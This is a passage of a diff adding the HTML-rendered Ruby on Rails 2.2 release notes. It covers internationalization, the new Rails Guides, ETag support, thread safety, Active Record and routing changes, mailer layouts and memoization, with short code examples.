+					<li>
+					<a href="#_deprecated">Deprecated</a>
+					</li>
+					<li>
+					<a href="#_credits">Credits</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Ruby on Rails 2.2 Release Notes</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the <a href="http://github.com/rails/rails/commits/master">list of commits</a> in the main Rails repository on GitHub.</p></div>
+<div class="para"><p>Along with Rails, 2.2 marks the launch of the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a>, the first results of the ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>. This site will deliver high-quality documentation of the major features of Rails.</p></div>
+</div>
+</div>
+<h2 id="_infrastructure">1. Infrastructure</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.</p></div>
+<h3 id="_internationalization">1.1. Internationalization</h3>
+<div class="para"><p>Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributors: Rails i18 Team
+</p>
+</li>
+<li>
+<p>
+More information :
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://rails-i18n.org">Official Rails i18 website</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized">Finally. Ruby on Rails gets internationalized</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://i18n-demo.phusion.nl">Localizing Rails : Demo application</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<h3 id="_compatibility_with_ruby_1_9_and_jruby">1.2. Compatibility with Ruby 1.9 and JRuby</h3>
+<div class="para"><p>Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.</p></div>
+</div>
+<h2 id="_documentation">2. Documentation</h2>
+<div class="sectionbody">
+<div class="para"><p>The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a> project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/getting_started_with_rails.html">Getting Started with Rails</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/migrations.html">Rails Database Migrations</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/association_basics.html">Active Record Associations</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/finders.html">Active Record Finders</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/layouts_and_rendering.html">Layouts and Rendering in Rails</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/form_helpers.html">Action View Form Helpers</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/routing_outside_in.html">Rails Routing from the Outside In</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/actioncontroller_basics.html">Basics of Action Controller</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/caching_with_rails.html">Rails Caching</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/testing_rails_applications.html">Testing Rails Applications</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/security.html">Securing Rails Applications</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/debugging_rails_applications.html">Debugging Rails Applications</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/benchmarking_and_profiling.html">Benchmarking and Profiling Rails Applications</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/creating_plugins.html">The Basics of Creating Rails Plugins</a>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.</p></div>
+<div class="para"><p>If you want to generate these guides locally, inside your application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>rake doc<span style="color: #990000">:</span>guides
+</tt></pre></div></div>
+<div class="para"><p>This will put the guides inside <tt>RAILS_ROOT/doc/guides</tt> and you may start surfing straight away by opening <tt>RAILS_ROOT/doc/guides/index.html</tt> in your favourite browser.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributors: <a href="http://guides.rails.info/authors.html">Rails Documentation Team</a>
+</p>
+</li>
+<li>
+<p>
+Major contributions from <a href="http://advogato.org/person/fxn/diary.html">Xavier Noria</a> and <a href="http://izumi.plan99.net/blog/">Hongli Lai</a>.
+</p>
+</li>
+<li>
+<p>
+More information:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch">Help improve Rails documentation on Git branch</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+</div>
+<h2 id="_better_integration_with_http_out_of_the_box_etag_support">3. Better integration with HTTP : Out of the box ETag support</h2>
+<div class="sectionbody">
+<div class="para"><p>Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ArticlesController <span style="color: #990000">&lt;</span> ApplicationController
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show_with_respond_to_block
+    <span style="color: #009900">@article</span> <span style="color: #990000">=</span> Article<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+
+    <span style="font-style: italic"><span style="color: #9A1900"># If the request sends headers that differs from the options provided to stale?, then</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># the request is indeed stale and the respond_to block is triggered (and the options</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># to the stale? call is set on the response).</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900">#</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># If the request headers match, then the request is fresh and the respond_to block is</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># not triggered. Instead the default render will occur, which will check the last-modified</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># and etag headers and conclude that it only needs to send a "304 Not Modified" instead</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># of rendering the template.</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> stale?<span style="color: #990000">(:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">.</span>published_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">)</span>
+      respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>wants<span style="color: #990000">|</span>
+        <span style="font-style: italic"><span style="color: #9A1900"># normal response processing</span></span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show_with_implied_render
+    <span style="color: #009900">@article</span> <span style="color: #990000">=</span> Article<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+
+    <span style="font-style: italic"><span style="color: #9A1900"># Sets the response headers and checks them against the request, if the request is stale</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># (i.e. no match of either etag or last-modified), then the default render of the template happens.</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># If the request is fresh, then the default render will return a "304 Not Modified"</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># instead of rendering the template.</span></span>
+    fresh_when<span style="color: #990000">(:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">.</span>published_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_thread_safety">4. Thread Safety</h2>
+<div class="sectionbody">
+<div class="para"><p>The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.</p></div>
+<div class="para"><p>To enable multithreaded dispatching in production mode of your application, add the following line in your <tt>config/environments/production.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>threadsafe!
+</tt></pre></div></div>
+<div class="ilist"><ul>
+<li>
+<p>
+More information :
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://m.onkey.org/2008/10/23/thread-safety-for-your-rails">Thread safety for your Rails</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core">Thread safety project announcement</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html">Q/A: What Thread-safe Rails Means</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+</div>
+<h2 id="_active_record">5. Active Record</h2>
+<div class="sectionbody">
+<div class="para"><p>There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.</p></div>
+<h3 id="_transactional_migrations">5.1. Transactional Migrations</h3>
+<div class="para"><p>Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by <tt>rake db:migrate:redo</tt> after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: <a href="http://adam.blog.heroku.com/">Adam Wiggins</a>
+</p>
+</li>
+<li>
+<p>
+More information:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/">DDL Transactions</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/">A major milestone for DB2 on Rails</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<h3 id="_connection_pooling">5.2. Connection Pooling</h3>
+<div class="para"><p>Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a <tt>pool</tt> key to your <tt>database.yml</tt> to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a <tt>wait_timeout</tt> that defaults to 5 seconds before giving up. <tt>ActiveRecord::Base.connection_pool</tt> gives you direct access to the pool if you need it.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>development<span style="color: #990000">:</span>
+  adapter<span style="color: #990000">:</span> mysql
+  username<span style="color: #990000">:</span> root
+  database<span style="color: #990000">:</span> sample_development
+  pool<span style="color: #990000">:</span> <span style="color: #993399">10</span>
+  wait_timeout<span style="color: #990000">:</span> <span style="color: #993399">10</span>
+</tt></pre></div></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: <a href="http://blog.nicksieger.com/">Nick Sieger</a>
+</p>
+</li>
+<li>
+<p>
+More information:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools">What's New in Edge Rails: Connection Pools</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<h3 id="_hashes_for_join_table_conditions">5.3. Hashes for Join Table Conditions</h3>
+<div class="para"><p>You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Photo <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>product
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>photos
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># Get all products with copyright-free photos:</span></span>
+Product<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>joins <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>photos <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>copyright <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span> <span style="color: #FF0000">}}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="ilist"><ul>
+<li>
+<p>
+More information:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions">What's New in Edge Rails: Easy Join Table Conditions</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<h3 id="_new_dynamic_finders">5.4. New Dynamic Finders</h3>
+<div class="para"><p>Two new sets of methods have been added to Active Record's dynamic finders family.</p></div>
+<h4 id="_tt_find_last_by_lt_attribute_gt_tt">5.4.1. <tt>find_last_by_&lt;attribute&gt;</tt></h4>
+<div class="para"><p>The <tt>find_last_by_&lt;attribute&gt;</tt> method is equivalent to <tt>Model.last(:conditions &#8658; {:attribute &#8658; value})</tt></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Get the last user who signed up from London</span></span>
+User<span style="color: #990000">.</span>find_last_by_city<span style="color: #990000">(</span><span style="color: #FF0000">'London'</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: <a href="http://www.workingwithrails.com/person/9147-emilio-tagua">Emilio Tagua</a>
+</p>
+</li>
+</ul></div>
+<h4 id="_tt_find_by_lt_attribute_gt_tt">5.4.2. <tt>find_by_&lt;attribute&gt;!</tt></h4>
+<div class="para"><p>The new bang! version of <tt>find_by_&lt;attribute&gt;!</tt> is equivalent to <tt>Model.first(:conditions &#8658; {:attribute &#8658; value}) || raise ActiveRecord::RecordNotFound</tt> Instead of returning <tt>nil</tt> if it can't find a matching record, this method will raise an exception if it cannot find a match.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!</span></span>
+User<span style="color: #990000">.</span>find_by_name!<span style="color: #990000">(</span><span style="color: #FF0000">'Moby'</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: <a href="http://blog.hasmanythrough.com">Josh Susser</a>
+</p>
+</li>
+</ul></div>
+<h3 id="_associations_respect_private_protected_scope">5.5. Associations Respect Private/Protected Scope</h3>
+<div class="para"><p>Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) <tt>@user.account.private_method</tt> would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use <tt>@user.account.send(:private_method)</tt> (or make the method public instead of private or protected). Please note that if you're overriding <tt>method_missing</tt>, you should also override <tt>respond_to</tt> to match the behavior in order for associations to function normally.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: Adam Milligan
+</p>
+</li>
+<li>
+<p>
+More information:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/">Rails 2.2 Change: Private Methods on Association Proxies are Private</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<h3 id="_other_activerecord_changes">5.6. Other ActiveRecord Changes</h3>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>rake db:migrate:redo</tt> now accepts an optional VERSION to target that specific migration to redo
+</p>
+</li>
+<li>
+<p>
+Set <tt>config.active_record.timestamped_migrations = false</tt> to have migrations with numeric prefix instead of UTC timestamp.
+</p>
+</li>
+<li>
+<p>
+Counter cache columns (for associations declared with <tt>:counter_cache &#8658; true</tt>) do not need to be initialized to zero any longer.
+</p>
+</li>
+<li>
+<p>
+<tt>ActiveRecord::Base.human_name</tt> for an internationalization-aware humane translation of model names
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_action_controller">6. Action Controller</h2>
+<div class="sectionbody">
+<div class="para"><p>On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.</p></div>
+<h3 id="_shallow_route_nesting">6.1. Shallow Route Nesting</h3>
+<div class="para"><p>Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
+  publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+    magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will enable recognition of (among others) these routes:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/publishers/1           ==&gt; publisher_path(1)
+/publishers/1/magazines ==&gt; publisher_magazines_path(1)
+/magazines/2            ==&gt; magazine_path(2)
+/magazines/2/photos     ==&gt; magazines_photos_path(2)
+/photos/3               ==&gt; photo_path(3)</tt></pre>
+</div></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: <a href="http://www.unwwwired.net/">S. Brent Faulkner</a>
+</p>
+</li>
+<li>
+<p>
+More information:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://guides.rails.info/routing/routing_outside_in.html#_nested_resources">Rails Routing from the Outside In</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes">What's New in Edge Rails: Shallow Routes</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<h3 id="_method_arrays_for_member_or_collection_routes">6.2. Method Arrays for Member or Collection Routes</h3>
+<div class="para"><p>You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: <a href="http://brennandunn.com/">Brennan Dunn</a>
+</p>
+</li>
+</ul></div>
+<h3 id="_resources_with_specific_actions">6.3. Resources With Specific Actions</h3>
+<div class="para"><p>By default, when you use <tt>map.resources</tt> to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special <tt>:all</tt> or <tt>:none</tt> options. These options are inherited by nested resources.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>index<span style="color: #990000">,</span> <span style="color: #990000">:</span>show<span style="color: #990000">]</span>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy
+</tt></pre></div></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: <a href="http://experthuman.com/">Tom Stuart</a>
+</p>
+</li>
+</ul></div>
+<h3 id="_other_action_controller_changes">6.4. Other Action Controller Changes</h3>
+<div class="ilist"><ul>
+<li>
+<p>
+You can now easily <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">show a custom error page</a> for exceptions raised while routing a request.
+</p>
+</li>
+<li>
+<p>
+The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as <tt>/customers/1.xml</tt>) to indicate the format that you want. If you need the Accept headers, you can turn them back on with <tt>config.action_controller.user_accept_header = true</tt>.
+</p>
+</li>
+<li>
+<p>
+Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+</p>
+</li>
+<li>
+<p>
+Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
+</p>
+</li>
+<li>
+<p>
+<tt>redirect_to</tt> now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
+</p>
+</li>
+<li>
+<p>
+<tt>render</tt> now supports a <tt>:js</tt> option to render plain vanilla javascript with the right mime type.
+</p>
+</li>
+<li>
+<p>
+Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+</p>
+</li>
+<li>
+<p>
+Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling <tt>polymorphic_path([@project, @date, @area])</tt> with a nil date will give you <tt>project_area_path</tt>.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_action_view">7. Action View</h2>
+<div class="sectionbody">
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>javascript_include_tag</tt> and <tt>stylesheet_link_tag</tt> support a new <tt>:recursive</tt> option to be used along with <tt>:all</tt>, so that you can load an entire tree of files with a single line of code.
+</p>
+</li>
+<li>
+<p>
+The included Prototype javascript library has been upgraded to version 1.6.0.3.
+</p>
+</li>
+<li>
+<p>
+<tt>RJS#page.reload</tt> to reload the browser's current location via javascript
+</p>
+</li>
+<li>
+<p>
+The <tt>atom_feed</tt> helper now takes an <tt>:instruct</tt> option to let you insert XML processing instructions.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_action_mailer">8. Action Mailer</h2>
+<div class="sectionbody">
+<div class="para"><p>Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the <tt>CustomerMailer</tt> class expects to use <tt>layouts/customer_mailer.html.erb</tt>.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+More information:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts">What's New in Edge Rails: Mailer Layouts</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<div class="para"><p>Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.</p></div>
+</div>
+<h2 id="_active_support">9. Active Support</h2>
+<div class="sectionbody">
+<div class="para"><p>Active Support now offers built-in memoization for Rails applications, the <tt>each_with_object</tt> method, prefix support on delegates, and various other new utility methods.</p></div>
+<h3 id="_memoization">9.1. Memoization</h3>
+<div class="para"><p>Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> full_name
+  <span style="color: #009900">@full_name</span> <span style="color: #990000">||=</span> <span style="color: #FF0000">"#{first_name} #{last_name}"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Memoization lets you handle this task in a declarative fashion:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>extend ActiveSupport<span style="color: #990000">::</span>Memoizable
+
+<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> full_name
+  <span style="color: #FF0000">"#{first_name} #{last_name}"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+memoize <span style="color: #990000">:</span>full_name
+</tt></pre></div></div>
+<div class="para"><p>Other features of memoization include <tt>unmemoize</tt>, <tt>unmemoize_all</tt>, and <tt>memoize_all</tt> to turn memoization on or off.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: <a href="http://joshpeek.com/">Josh Peek</a>
+</p>
+</li>
+<li>
+<p>
+More information:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization">What's New in Edge Rails: Easy Memoization</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.railway.at/articles/2008/09/20/a-guide-to-memoization">Memo-what? A Guide to Memoization</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<h3 id="_tt_each_with_object_tt">9.2. <tt>each_with_object</tt></h3>
+<div class="para"><p>The <tt>each_with_object</tt> method provides an alternative to <tt>inject</tt>, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">%</span>w<span style="color: #990000">(</span>foo bar<span style="color: #990000">).</span>each_with_object<span style="color: #990000">(</span><span style="color: #FF0000">{}</span><span style="color: #990000">)</span> <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>str<span style="color: #990000">,</span> hsh<span style="color: #990000">|</span> hsh<span style="color: #990000">[</span>str<span style="color: #990000">]</span> <span style="color: #990000">=</span> str<span style="color: #990000">.</span>upcase <span style="color: #FF0000">}</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {'foo' =&gt; 'FOO', 'bar' =&gt; 'BAR'}</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Lead Contributor: <a href="http://therealadam.com/">Adam Keys</a></p></div>
+<h3 id="_delegates_with_prefixes">9.3. Delegates With Prefixes</h3>
+<div class="para"><p>If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:</p></div>
+<div class="listingblock">
